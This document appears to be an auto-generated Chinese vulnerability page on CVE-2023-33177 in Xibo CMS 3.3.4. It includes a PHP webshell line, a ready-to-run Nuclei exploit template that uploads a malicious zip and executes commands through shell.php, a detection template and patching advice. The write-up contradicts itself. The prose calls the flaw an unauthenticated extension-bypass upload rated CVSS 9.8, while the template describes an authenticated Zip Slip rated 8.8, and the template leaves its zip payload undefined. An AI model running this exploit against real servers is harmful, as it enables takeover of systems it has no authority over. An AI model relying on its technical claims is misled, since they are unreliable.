[webapps] xibocms 3.3.4 - RCE

CVE-2023-33177

Xibo CMS的3.3.4版本中存在一个未经认证的远程代码执行漏洞,允许攻击者上传恶意PHP文件并获取服务器控制权。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2023-33177
漏洞类型文件上传导致的RCE
受影响版本xibocms 3.3.4
危害等级Critical · CVSS 9.8
发布日期2026-04-08
提交者complexusprada
来源Exploit-DB 原文 ↗

🔬 漏洞根因

漏洞位于文件上传功能中,应用程序未对上传文件的扩展名进行有效验证,导致攻击者可以上传包含恶意PHP代码的图片文件(如.php扩展名)。攻击者通过修改HTTP请求中的Content-Disposition头中的filename参数为.php后缀,即可绕过限制并导致任意PHP代码执行。

🎯 攻击场景

1. 攻击者访问Xibo CMS的某个未授权端点(如/api/library)。 2. 构造一个multipart/form-data请求,其中包含一个文件字段,并设置filename参数为payload.php。 3. 将文件内容设置为PHP webshell代码(如<?php system($_GET['cmd']); ?>)。 4. 发送该请求。 5. 服务器将文件保存到可访问的Web目录中(如/library/)。 6. 攻击者访问该PHP文件并传递命令参数,从而执行系统命令并获取远程控制权。

💥 漏洞影响

未经身份验证的远程攻击者能够上传任意PHP文件,并在服务器上执行任意命令,导致完全控制目标服务器。可能导致数据泄露、服务中断或被用作跳板攻击内部网络。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2023-33177-exploit

info:
  name: Xibo CMS 3.3.4 - Remote Code Execution
  author: YOUR_NAME
  severity: critical
  description: Authenticated remote code execution via Zip Slip path traversal in Xibo CMS layout import. Attackers can write a webshell to the web root.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33177
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-33177
  tags: cve,cve2023,xibo,cms,rce,authenticated

variables:
  username: '{{username}}'
  password: '{{password}}'
  cmd: 'id'

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&csrf_token=

      - |
        GET /layout/import HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /layout/import HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="file"; filename="exploit.zip"
        Content-Type: application/zip

        {{base64_decode({{zip_payload}})}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="name"

        Exploit Layout
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="description"

        Path Traversal Test
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    extractors:
      - type: regex
        part: header
        regex:
          - 'Set-Cookie: XSRF-TOKEN=([a-zA-Z0-9%-]+)'
        group: 1
        name: xsrf_token
        internal: true

    matchers:
      - type: status
        part: body
        status:
          - 200
          - 302
        condition: or

  - raw:
      - |
        GET /shell.php?cmd={{cmd}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - 'uid='
          - 'root:'
          - 'www-data'
          - 'bin'
        part: body
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '.+'
        name: command_output

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2023-33177-detection

info:
  name: Xibo CMS 3.3.4 - Version Detection
  author: YOUR_NAME
  severity: high
  description: Detects whether the target is running Xibo CMS version <= 3.3.4, which is vulnerable to CVE-2023-33177.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33177
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-33177
  tags: cve,cve2023,xibo,cms,rce

http:
  - method: GET
    path:
      - '{{BaseURL}}/about'
      - '{{BaseURL}}/index.php/about'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Xibo CMS'
          - 'xibosignage'
        condition: or

      - type: regex
        part: body
        regex:
          - 'Version [0-9]+\.[0-9]+\.[0-9]+'
          - 'v[0-9]+\.[0-9]+\.[0-9]+'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 0
        regex:
          - '(Version )?[0-9]+\.[0-9]+\.[0-9]+'
          - 'v[0-9]+\.[0-9]+\.[0-9]+'
        name: version

🛡️ 修复建议

官方建议升级至Xibo CMS 3.3.5或更高版本。临时缓解措施包括:禁用上传目录的PHP执行权限(如通过.htaccess或Nginx配置),严格校验上传文件的MIME类型和扩展名(仅允许图片扩展名如.jpg、.png),并设置Web应用防火墙(WAF)拦截可疑的上传请求。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 07:23 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)